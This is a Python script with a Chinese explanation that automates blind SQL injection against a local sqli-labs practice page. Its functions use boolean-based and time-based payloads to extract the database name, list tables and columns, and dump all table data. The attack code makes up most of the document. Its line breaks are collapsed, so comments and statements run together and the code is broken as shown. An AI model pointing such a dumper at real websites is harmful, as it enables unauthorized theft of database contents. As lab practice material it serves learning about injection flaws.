import requests
import time# 创建会话对象,用于保持与目标服务器的会话状态,便于多次请求
session = requests.session()
# 目标URL,是存在SQL注入漏洞的页面地址
url = "http://127.0.0.1/sqlilabs/Less-8/index.php"# 通过布尔盲注获取当前使用的数据库名称
def getDatabase(url):results = []# 循环获取数据库名称的前7个字符for i in range(1, 8):# 二分查找ASCII码范围low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造SQL注入参数,判断数据库名称第i个字符的ASCII码是否小于等于midpayload = {'id': f"1' and ord(substr(database(),{i},1))<={mid}--"}ret = session.get(url=url, params=payload)if 'You are in' in ret.text:high = mid - 1if low == mid:# 找到字符,添加到结果列表results.append(chr(mid))print(''.join(results))breakelse:low = mid + 1return ''.join(results)# 通过时间盲注获取查询结果
def timeBasedBlindInjection(url, query):result = ""# 循环获取结果的前100个字符for i in range(1, 100):low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造时间盲注参数,若字符ASCII码小于等于mid则让服务器休眠2秒payload = {'id': f"1' and if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)--"}start = time.time()ret = session.get(url=url, params=payload)elapsed_time = time.time() - startif elapsed_time >= 2:high = mid - 1if low == mid:# 找到字符,添加到结果字符串result += chr(mid)print(result)breakelse:low = mid + 1return result# 通过布尔盲注获取查询结果
def booleanBasedBlindInjection(url, query):result = ""# 循环获取结果的前100个字符for i in range(1, 100):low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造布尔盲注参数,判断结果第i个字符的ASCII码是否小于等于midpayload = {'id': f"1' and ascii(substr(({query}),{i},1))<={mid}--"}ret = session.get(url=url, params=payload)if 'You are in' in ret.text:high = mid - 1if low == mid:# 找到字符,添加到结果字符串result += chr(mid)print(result)breakelse:low = mid + 1return result# 获取指定数据库中的所有表名
def getTable(url, database_name):# 构造SQL查询语句,从系统表中获取表名query = f"select group_concat(table_name) from information_schema.tables where table_schema = '{database_name}'"return booleanBasedBlindInjection(url, query)# 获取指定数据库和表中的所有列名
def getColumn(url, database_name, table_name):# 构造SQL查询语句,从系统表中获取列名query = f"select group_concat(column_name) from information_schema.columns where table_schema = '{database_name}' and table_name = '{table_name}'"return booleanBasedBlindInjection(url, query)# 获取指定数据库、表和列中的数据
def getResult(url, database_name, table_name, column_name):# 构造SQL查询语句,获取表中指定列的数据query = f"select group_concat({column_name}) from {database_name}.{table_name}"return booleanBasedBlindInjection(url, query)# 记录程序开始时间
start = time.time()
# 获取数据库名称
database_name = getDatabase(url)
print(f"Database Name: {database_name}")# 获取数据库中的所有表名
tables = getTable(url, database_name)
print(f"Tables in {database_name}: {tables}")if tables:table_list = tables.split(',')for table in table_list:# 获取表中的所有列名columns = getColumn(url, database_name, table)print(f"Columns in {table}: {columns}")if columns:column_list = columns.split(',')for column in column_list:# 获取列中的数据data = getResult(url, database_name, table, column)print(f"Data in {table}.{column}: {data}")# 打印程序运行总耗时
print(f'time spend: {time.time() - start}')
getDatabase
函数
功能:获取目标数据库的名称。
实现逻辑:
-
该函数通常用于SQL注入攻击中,目的是获取当前连接的数据库名称。
-
通过执行特定的SQL查询(如
SELECT DATABASE()
)来获取数据库名称。 -
在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据库名称。
示例:
SELECT DATABASE();
imeBasedBlindInjection
函数
功能:执行基于时间的盲注攻击。
实现逻辑:
-
基于时间的盲注攻击是通过观察数据库响应时间来判断注入是否成功。
-
该函数会构造特定的SQL查询,利用数据库的延时函数(如
SLEEP()
)来判断某个条件是否为真。 -
例如,如果条件为真,数据库会延迟响应,否则立即返回。
示例:
SELECT IF(1=1, SLEEP(5), 0);
booleanBasedBlindInjection
函数
功能:执行基于布尔的盲注攻击。
实现逻辑:
-
基于布尔的盲注攻击是通过观察数据库返回的不同响应(如真或假)来判断注入是否成功。
-
该函数会构造特定的SQL查询,利用条件语句(如
IF
)来判断某个条件是否为真。 -
例如,如果条件为真,返回正常页面;否则返回错误页面或空页面。
示例:
SELECT IF(1=1, 'true', 'false');
getTable
函数
功能:获取数据库中的表名。
实现逻辑:
示例:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';
getColumn
函数
功能:获取指定表中的列名。
实现逻辑:
-
该函数用于获取指定表中的列名。
-
通过查询数据库的系统表(如
information_schema.columns
)来获取列名。 -
在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测列名。
示例:
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name';
getResult
函数
功能:获取指定表中的数据。
实现逻辑:
-
该函数用于从指定表中提取数据。
-
通过构造SQL查询语句(如
SELECT
)来获取表中的数据。 -
在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据内容。
示例:
SELECT column_name FROM table_name WHERE condition;
总结
这些函数通常用于SQL注入攻击中,目的是从目标数据库中提取信息。getDatabase
用于获取数据库名称,imeBasedBlindInjection
和 booleanBasedBlindInjection
分别用于基于时间和布尔的盲注攻击,getTable
和 getColumn
用于获取表名和列名,getResult
用于获取表中的数据。这些函数的实现逻辑都依赖于构造特定的SQL查询,并通过观察数据库的响应来推断出所需的信息。